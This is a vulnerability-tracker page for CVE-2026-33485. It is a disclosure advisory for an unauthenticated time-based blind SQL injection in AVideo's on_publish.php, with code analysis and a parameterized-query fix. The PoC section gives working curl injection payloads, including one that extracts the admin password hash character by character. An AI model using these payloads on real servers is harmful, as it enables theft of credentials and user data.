NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

CVE-2026-33485 — avideo

HIGHFix: WWBN/AVideo@af59ead

CVE-2026-33485 is a high-severity (CVSS 7.5) SQL Injection vulnerability in wwbn/avideo. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

Also known asGHSA-8p58-35c3-ccxx
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33485.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk
0.00%0.35%0.70%1.05%0.2%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.

Details

Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.

Sanitization (insufficient): Line 117 strips only & and = characters:

// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);

Injection point #1 — unconditional (no p parameter needed):

At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():

// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);

Inside getLatest(), the key is interpolated into a LIKE clause without escaping:

// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE '{$key}%' ";
}

Injection point #2 — when $_GET['p'] is provided:

At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():

// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);

Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:

// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);

Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.

PoC

Injection point #1 (unconditional — simplest):

# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"

A ~5-second response time confirms injection. The payload:

  • Avoids & and = (stripped by line 117)
  • Avoids _ and - in positions where cleanUpKey() would split
  • Uses %23 (#) to comment out the trailing %'

Data extraction — character-by-character:

# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"

Injection point #2 (via keyExists):

curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"

This reaches keyExists() at line 146, producing:

SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1

Impact

An unauthenticated remote attacker can:

  1. Extract all database contents via time-based blind SQL injection, including:

    • User password hashes (bcrypt)
    • Email addresses and personal information
    • API keys, session tokens, and live stream passwords
    • Site configuration and secrets stored in database tables
  2. Authenticate as any user to the streaming system — extracted password hashes can be used directly as the $_GET['p'] parameter since on_publish.php:153 compares $_GET['p'] === $user->getPassword() against the raw stored hash, allowing the attacker to start streams impersonating any user.

  3. Enumerate database structure — the injection can be used to query information_schema tables, mapping the entire database for further exploitation.

The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.

Recommended Fix

Use parameterized queries in both affected functions:

Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303:

$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);

Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495:

if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE ? ";
    $formats .= "s";
    $values[] = $key . '%';
}

Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688:

if(!$strict){
    $parts = Live::getLiveParametersFromKey($key);
    $key = $parts['cleanKey'];
    $sql .= " `key` LIKE ? ";
    $formats = "s";
    $values = [$key . '%'];
}else{
    $sql .= " `key` = ? ";
    $formats = "s";
    $values = [$key];
}

All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Affected Products

1 product · 1 configurations
Application
avideowwbn
≤ 26.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of wwbn/avideo for CVE-2026-33485. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.

Frequently Asked Questions

## Summary The RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. ## Details **Entry point:** `plugin/Live/on_publish.php` — no authentication, no IP
O3 Security · Impact-Aware SCA

Is CVE-2026-33485 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-33485: avideo SQL Injection (High 7.5)